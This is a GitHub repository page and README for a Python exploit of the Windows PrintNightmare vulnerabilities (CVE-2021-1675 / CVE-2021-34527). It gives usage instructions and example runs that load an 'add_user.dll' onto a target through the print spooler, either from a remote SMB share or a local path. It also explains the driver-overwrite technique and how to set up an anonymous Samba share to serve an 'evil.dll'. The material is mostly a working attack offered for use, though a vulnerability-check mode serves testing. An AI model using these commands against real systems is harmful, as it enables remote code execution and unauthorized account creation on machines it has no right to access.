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Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
https://github.com/ly4k/PrintNightmare

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Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Host: GitHub
URL: https://github.com/ly4k/PrintNightmare
Owner: ly4k
License: mit
Created: 2021-09-26T13:53:10.000Z (about 3 years ago)
Default Branch: main
Last Pushed: 2021-10-17T13:29:56.000Z (about 3 years ago)
Last Synced: 2024-06-06T20:58:11.311Z (6 months ago)
Topics: cve-2021-1675, cve-2021-34527
Language: Python
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Size: 11.7 KB
Stars: 176
Watchers: 6
Forks: 30
Open Issues: 5
Metadata Files:
- Readme: README.md
- License: LICENSE

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README

# PrintNightmare

Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.

## Installtion

```bash
$ pip3 install impacket
```

## Usage

```
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
target [[domain/]username[:password]@]

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
-port [destination port]
Destination port to connect to MS-RPRN named pipe
-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
NetBIOS name and you cannot resolve it

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH

driver:
-name driver name Name for driver
-env driver name Environment for driver
-path driver path Driver path for driver
-dll driver dll Path to DLL

modes:
-check Check if target is vulnerable
-list List existing printer drivers
-delete Deletes printer driver
```

### Examples

#### Exploitation

##### Remote DLL
```bash
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
```

##### Local DLL
```bash
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL
```

Notice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.

##### Custom name
```bash
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name: Microsoft XPS Document Writer v4
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: Microsoft Print To PDF
Environment: Windows x64
Driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version: 4
----------------------------------------------------------------
Name: My Printer Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version: 3
----------------------------------------------------------------
Name: Microsoft Shared Fax Driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version: 3
----------------------------------------------------------------
Name: Microsoft enhanced Point and Print compatibility driver
Environment: Windows x64
Driver path: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version: 3
----------------------------------------------------------------
```

#### Check if target is vulnerable

##### Unpatched Windows 10
```bash
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
```

##### Patched Windows Server 2022
```bash
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable
```

#### List current printer drivers

```bash
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

#### Delete printer driver

May require administrative privileges.

```bash
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!
```

## Details

PrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527.

### CVE-2021-1675

A non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver.

### CVE-2021-34527

When [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)

### Combining the pieces

Only CVE-2021-1675 is needed if the malicious DLL is already located on the target.

For PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.

When creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\Windows\system32\spool\drivers\x64\3\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\Windows\system32\spool\drivers\x64\3\old\\`, where `` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\Windows\system32\spool\drivers\x64\3\old\\`, since the DLL is no longer used. Now it's just a matter of guessing `` which will start incrementing from `1`.

Note that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.

#### SMB and UNC

In short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\10.0.0.2\files\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.

To install `Samba` with `apt`:
```bash
$ sudo apt install samba
```

Edit the `/etc/samba/smb.conf` and add the following at the end of the file:
```
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
```

This will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.

Then start the Samba service by doing:
```bash
$ sudo service smbd start
```

Suppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\192.168.1.100\smb\evil.dll`.

## Authors
- [@ly4k](https://github.com/ly4k)

## Credits
- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675)
- [Impacket](https://github.com/SecureAuthCorp/impacket)